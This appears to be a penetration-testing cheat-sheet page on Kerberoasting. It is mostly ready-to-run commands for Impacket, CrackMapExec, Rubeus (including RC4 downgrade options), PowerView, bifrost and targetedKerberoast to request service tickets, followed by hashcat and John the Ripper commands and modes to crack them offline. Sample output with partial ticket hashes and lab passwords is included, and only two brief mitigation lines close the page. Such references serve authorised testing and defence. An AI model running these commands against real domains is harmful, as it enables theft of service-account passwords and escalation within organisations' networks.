85 lines
4.2 KiB
Markdown
85 lines
4.2 KiB
Markdown
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# Roasting - Kerberoasting
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> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
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Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
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* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
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```powershell
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$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
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Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
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ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
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-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
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active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
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$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
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```
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* CrackMapExec Module
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```powershell
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$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
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LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
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LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
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```
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* [Rubeus](https://github.com/GhostPack/Rubeus)
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```powershell
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# Stats
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Rubeus.exe kerberoast /stats
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------------------------------------- ----------------------------------
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| Supported Encryption Type | Count | | Password Last Set Year | Count |
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------------------------------------- ----------------------------------
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| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
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------------------------------------- ----------------------------------
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# Kerberoast (RC4 ticket)
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Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
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# Kerberoast (AES ticket)
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# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
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Rubeus.exe kerberoast /tgtdeleg
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# Kerberoast (RC4 ticket)
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# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
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Rubeus.exe kerberoast /rc4opsec
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```
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* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
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```powershell
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Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
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```
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* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
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```powershell
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./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
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```
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* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
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```powershell
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# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
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# print the "kerberoast" hash, and delete the temporary SPN set for that operation
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targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
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```
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Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
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| Mode | Description |
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|---------|--------------|
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| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
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| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
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| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
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```powershell
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./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
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./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
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```
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**Mitigations**:
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* Have a very long password for your accounts with SPNs (> 32 characters)
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* Make sure no users have SPNs
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